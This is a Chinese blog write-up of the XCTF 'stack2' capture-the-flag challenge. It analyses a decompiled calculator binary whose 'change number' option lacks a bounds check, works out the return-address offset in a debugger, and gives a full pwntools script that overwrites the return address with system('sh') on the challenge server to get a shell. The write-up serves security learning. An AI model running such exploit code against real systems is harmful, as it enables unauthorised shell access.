攻防世界中的stack2

昨天去刷了攻防世界的题,做到了stack2这道题。首先查看一下开的防护:
攻防世界中的stack2_第1张图片
然后拉进ida,例行f5


```cpp
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]
 
  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 99 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

我们看到是一个简单地程序,获取输入的值,并进行计算平均值,同时也可以修改之前输入的数组。一开始,我怀疑是它的一,增加操作可能会造成栈溢出,但是后来发现并没有,于是没有了头绪。想了很久,后面还是去看了别人的writeup。
发现漏洞其实是在3操作,它的修改位置没有进行检验,导致可以修改栈中的数据。那这样的话,就意味着可以覆盖返回地址。这就是思路吧。而且还在ida中找到提权函数
攻防世界中的stack2_第2张图片
于是思路便是把返回地址覆盖位提权函数地址即可。
接下来一个问题就是查找偏移。其实这也是我觉得在这道题学到比较重要的一个点。常规思路就是看距离ebp的地址如下:

但是这道题有开了canary保护,所以偏移地址要动态寻找(至于说canary大小好像是4个字节,直接加4就可以,我是这样认为的,但是事实并不是,这个我不太明白)。
动态查找思路如下:
首先我们在main函数的开始下一个断点,在retn的地方下一个断点,运行程序,得到起始的ebp为0xFFAE1358,运行到retn,栈顶的位置为:0xFFAE136C,由此得到v13的地址为:0xFFAE1358-0x70 = 0xffae12e8,偏移量为0xFFAE136C - 0xffae12e8 = 0x84。
这里说一下我总结出来的方法,因为这个数组是在main函数中定义的,所以上图的ebp-0x70,就是相对于一开始的偏移,根据第一个断点的ebp就可以找到数组的地址。然后后面retn的时候,接的就是真正的返回地址,所以这样就可以找到返回地址。

所以接下来就可以构造payload来提权了。
但是我们按照上面的思路,发现并不能正确的得到shell,原来是字符串/bin/bash的问题,由于测试环境的原因,我们需要使用/bin/sh,我们可以通过上面的办法向栈中写入/bin/sh字符串,但是发现每次栈的地址都会变,只得作罢。
这里好像是出题方的疏漏,贴一下官方wp说明:
https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/
但是所以在这里构造system(sh)一样能完成调用
sh所在的地址位0x8048980 + 7 (空过前面的/bin/ba 读取sh)所以构造的exp如下:

from pwn import*
 system_addr=0x080485AF
leave_offset=0x84
 
 
def write_addr(addr,va):
	io.sendline("3")
	io.recvuntil("which number to change:\n")
	io.sendline(str(addr))
	io.recvuntil("new number:\n")
	io.sendline(str(va))
	io.recvuntil("5. exit\n")
 
io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")
 
 
# write  system_addr  0x08048450
 
write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr  0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
 
io.sendline("5")
io.interactive()

这样就可以提权,get到flag。
前几天有在做pwn100这道题,思路有了(参照Wiki上面的那个csu的模板,但是没有成功)。明天或后天会尽量去总结,写一篇博客来记录吧。
不过u1s1,在家学习的效率真的太低了。希望自己认真的,学多点,早日成为一个合格的安全研究员。
希望有志同道合的小伙伴一起学习,有兴趣的私聊加V,一起学习吧!
最后贴一下参考的文章:
https://blog.csdn.net/qq_41071646/article/details/86600053
https://blog.csdn.net/qq_39596232/article/details/100163173

你可能感兴趣的:(攻防世界中的stack2)